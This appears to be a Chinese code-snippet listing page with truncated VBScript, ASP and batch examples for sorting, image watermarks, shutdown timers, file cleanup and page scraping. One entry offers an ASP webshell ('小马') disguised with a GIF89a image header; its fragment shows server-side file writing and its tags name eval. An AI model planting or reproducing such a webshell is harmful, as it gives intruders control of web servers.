2020-02-16 标签:vbs,sort,引发,net,framework,之间,关系,说明,问题,就这么,结束,也就,不会有,这篇文章,怪我,google,输入

如果问题就这么结束，那么也就不会有这篇文章。怪我手贱，在Google中输入“vbs sort”，回车，看到一段代码，顿时泪流满面。 实现代码如下： Set outputLines = _ CreateObject("System.Collections.ArrayList") 'add lines

2020-02-16 标签:运行,同一,目录,下的,可执行,程序,vbs,代码,实现,如下,set,objshell,wscript,shell,fso,scripting

实现代码如下： Set objShell = CreateObject("WScript.shell") strCurrentDir = objShell.CurrentDirectory set fso = createobject("scripting.filesystemobject") se

2020-02-16 标签:hta,编写,消费,记录,程序,代码,复制粘贴,一文,本文,保存,并将,该文,后缀名,改为,双击,即可,运行,实现

将代码复制粘贴到一文本文档中，然后保存，并将该文件后缀名改为：hta，双击即可运行。实现代码如下： 消费记录程序 totalMoney=0 '总消费额 index=-1 '初始化checkbox控件ID序号； flag=0 '定义文件是否改动的标志 set fso=createobjec

2020-02-16 标签:bat,自动,删除,指定,文件夹,前几天,文件,代码,实现,如下,echo,off,set,d,date,10,mshta,vbscript

实现代码如下： @echo off set d=%date:~0,10% mshta vbscript:createobject("scripting.filesystemobject").opentextfile("wind.txt",2,true).writeline(dateadd("d",-

2020-02-16 标签:set,rs,server,quot,adodb,recordset,中文,详细,说明,建立,数据,前面,定义,dim,然后就,实例

是建立一个数据集 前面应该先定义此数据集 dim rs as adodb.recordset 然后就可以用 set rs=server.CreateObject("adodb.recordset") 来建立一个数据集的实例，当然此时数据集中是没有数据的 rs.open ...... 来打开一个记录集

2020-02-16 标签:功能,超强,asp,小马,实现,代码,如下,gif,89,a,html,eval,request,chr

第一款： 实现代码如下： GIF89a$ ; "" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(

2020-02-16 标签:aspjpeg,图片,水印,杂点,完美,解决方法,操作,实现,函数,代码,如下,function,addwater,n,set,photo,server,persits,jpeg

操作实现函数： 实现代码如下： Function AddWater(n) Set Photo = Server.CreateObject("Persits.Jpeg") PhotoPath = Server.MapPath(n) Photo.Open PhotoPath Photo.Interpol

2020-02-16 标签:asp,图片,加水,印的,功能,代码,实现,如下,文字,水印,function,imagepath,dim,image,set,server,persits,jpeg

实现代码如下： '文字水印 Function WordWatermark(ImagePath) Dim Image Set Image= Server.CreateObject("Persits.Jpeg") ' 建立对象 Image.Open server.mappath(ImagePath) '

2020-02-16 标签:vbs,自动关机,30,实现,代码,如下,dim,wsh,set,wscript,shell,getobject,winmgmts,ootwmi

实现代码如下：Dim Wsh,objWMIService,colMonitoredEvents Set Wsh = WScript.CreateObject("WScript.Shell") Set objWMIService = GetObject("winmgmts:\. ootwmi") Se

2020-02-16 标签:vbs,搜索,代理地,实现,代码,小偷,程序,如下,输入,url,目标,网页,地址,返回,gethttppage,html,function

实现代码如下：'1、输入url目标网页地址，返回值getHTTPPage是目标网页的html代码 function getHTTPPage(url) dim Http set Http=CreateObject("MSXML2.XMLHTTP") Http.open "GET",url,false